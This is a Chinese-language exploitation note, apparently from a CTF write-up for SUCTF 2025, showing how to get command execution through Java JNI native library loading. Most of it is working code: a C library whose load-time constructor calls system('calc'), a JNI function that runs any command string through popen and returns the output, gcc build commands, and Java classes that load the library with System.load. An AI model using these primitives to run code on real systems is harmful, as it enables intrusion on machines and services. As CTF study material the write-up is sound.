利用手法
目前知道的有两种,一种是.c直接编译成.dll;第二种是得到.h后编写对应.c,然后编译成.jnilib
.c直接编译
1 2 3 4 5 6 7 8
| #include <stdlib.h> #include <stdio.h> #include <string.h>
__attribute__ ((__constructor__)) void preload (void){ system("calc"); }
|
gcc -shared -fPIC qwq.c -o hack.dll
1 2 3
| public class Native { public native String exec(String cmd); }
|
1 2 3 4 5 6 7 8
| public class dll_Loader { public static void main(String[] args) { System.load("your_path/poc.dll"); Native aNative = new Native(); aNative.exec("calc"); } }
|
.jnilib
这里写.jnilib只是为了便于区分,实际上.jinlib一般用与Mac,.dll用于windows,.so用于linux。根据情况选择
先写Native.java
javac Native.java 得到.class
javah -jni Native 得到.h,注意,jdk10以后没有javah命令,需要换一下;Native的位置写完整包名
然后编写包含.h的.c文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #include <jni.h> #include <stdlib.h> #include <stdio.h> #include <string.h>
#include "Native.h"
JNIEXPORT jstring JNICALL Java_Native_exec(JNIEnv *env, jclass clazz, jstring str) { if (str != NULL) { jboolean isCopy; const char *cmd = (*env)->GetStringUTFChars(env, str, &isCopy);
if (cmd != NULL) { FILE *fd = popen(cmd, "r");
if (fd != NULL) { char buf[128]; char result[4096] = {0};
while (fgets(buf, sizeof(buf), fd) != NULL) { strcat(result, buf); }
pclose(fd);
jstring ret = (*env)->NewStringUTF(env, result); (*env)->ReleaseStringUTFChars(env, str, cmd); return ret; }
(*env)->ReleaseStringUTFChars(env, str, cmd); } }
return NULL; }
|
执行 gcc -I”D:\sec_software\jdks\jdk-1.8.0_341\include” -I”D:\sec_software\jdks\jdk-1.8.0_341\include\win32” -shared -o poc.jnilib Native.c
得到.jnilib
1 2 3 4 5 6 7 8
| public class Native_Caller { public static void main(String[] args) { Native aNative = new Native(); System.load("your_path\\poc.jnilib"); aNative.exec("calc"); } }
|
三种.jnilib加载的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
System.load("D:\\BaiduSyncdisk\\ctf-challenges\\1diot9\\java-challenges\\SUCTF\\suctf2025\\ez_solon\\src\\main\\java\\poc.jnilib");
|